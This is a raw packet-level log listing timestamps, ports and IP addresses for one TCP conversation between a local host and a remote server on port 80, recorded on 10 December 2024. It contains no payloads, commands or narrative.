Dec 10, 2024 02:51:11.585484982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.585534096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.585628033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.585673094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.586647034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.586699963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.586761951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.586807966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.588140965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.588226080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.588273048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.589010954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.589056015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.589154005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.589200974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.590248108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.590296030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.590326071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.590368032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.591434956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.591479063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.591519117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.591563940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.592629910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.592708111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.592760086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.593810081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.593861103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.593924046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.593964100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.595001936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.595052958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.595140934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.595187902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.596184015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.596301079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.596348047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.597415924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.597465992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.597496986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.597543955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.598608971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.598653078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.598731995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.598777056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.599833965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.599885941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.599997044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.600044966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.600986958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.601083994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.601146936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.602186918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.602241039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.602292061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.602338076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.603364944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.603414059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.603470087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.603513002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.604541063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.604588985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.604640961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.604691982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.605742931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.605792999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.605870008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.605914116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.606921911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.606970072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.607049942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.607109070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.608129978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.608211994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.608258963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.609345913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.609394073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.609477997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.609524012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.610553980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.610600948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.610650063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.610701084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.611687899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.611735106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.611773014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.611818075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.615724087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.615894079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.615952015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.616271973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.616370916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.616427898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.617479086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.617526054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.617564917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.617609024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.618633032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.618680000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.745950937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.746052027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.746144056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.746530056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.746589899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.746650934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.746700048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.747755051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.747818947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.747849941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.747890949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.748898029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.749018908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.749088049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.750113964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.750168085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.750219107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.750263929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.751287937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.751337051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.751394033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.751432896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.752531052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.752630949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.752676964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.753683090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.753722906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.753798962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.753840923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.754892111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.754939079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.754961967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.755002022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.756088972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.756130934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.756167889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.756206036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.757273912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.757317066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.757359028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.757397890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.758450985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.758496046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.758663893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.758699894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.759651899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.759768963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.759829044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.760845900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.760962009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.761009932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.762073040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.762121916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.762310028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.762356043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.763225079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.763273954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.763361931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.763406992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.764419079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.764585018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.764632940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.765625000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.765682936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.765711069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.765758038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.766836882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.766880989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.766913891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.766954899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.768034935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.768083096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.768141985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.769197941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.769251108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.769303083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.769346952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.770400047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.770452976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.770522118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.770565033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.771567106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.771637917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.771684885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.771766901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.772768021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.772913933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.772954941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.773983002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.774024963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.774128914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.774171114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.775157928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.775207996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.775316954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.775360107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.776345015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.776479006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.776504040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.776554108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.777585030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.777631998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.777667999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.777712107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.778738022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.778789043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.778852940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.778913021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.779931068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.779977083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.780039072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.780086040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.781136036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.781294107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.781344891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.782322884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.782368898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.782439947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.782485962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.783514977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.783565044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.783647060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.783691883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.784714937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.784851074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.784888983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.785909891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.785957098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.786047935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.786093950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.787127972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.787172079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.787201881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.787245035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.788345098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.788547993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.788594007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.789541960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.789586067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.789621115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.789665937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.790695906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.790745020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.790798903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.790843964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.791893959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.791934967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.791965961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.792006016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.793104887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.793217897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.793267965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.794328928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.794378042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.794392109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.794435978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.795470953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.795517921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.795563936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.795607090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.796668053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.796756983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.796803951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.797842979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.797890902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.797970057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.798016071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.799066067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.799113989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.799164057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.799209118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.800254107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.800358057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.800405979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.801467896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.801522017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.801548004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.801592112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.802623034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.802675009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.802743912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.802788973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.803817034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.803864956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.803910017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.803955078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.808043957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.808162928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.808172941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.808212996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.808628082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.808676958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.808749914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.808794022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.809895039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.809940100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.809948921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.809983015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.811036110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.811093092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.938364029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.938508987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.938647985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.938781977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.938894033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.938951015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.940005064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.940059900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.940134048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.941171885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.941219091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.941298008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.941344976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.942413092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.942465067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.942559958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.942605019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.943530083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.943576097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.943665028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.943711042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.944727898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.944828033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.944880009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.945919037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.945962906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.946048021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.946096897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.947105885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.947154999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.947237015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.947282076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.948309898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.948421955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.948481083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.949512959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.949558973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.949620962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.949670076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:11.950714111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:11.950759888 CET	49859	80	192.168.2.5	31.41.244.11
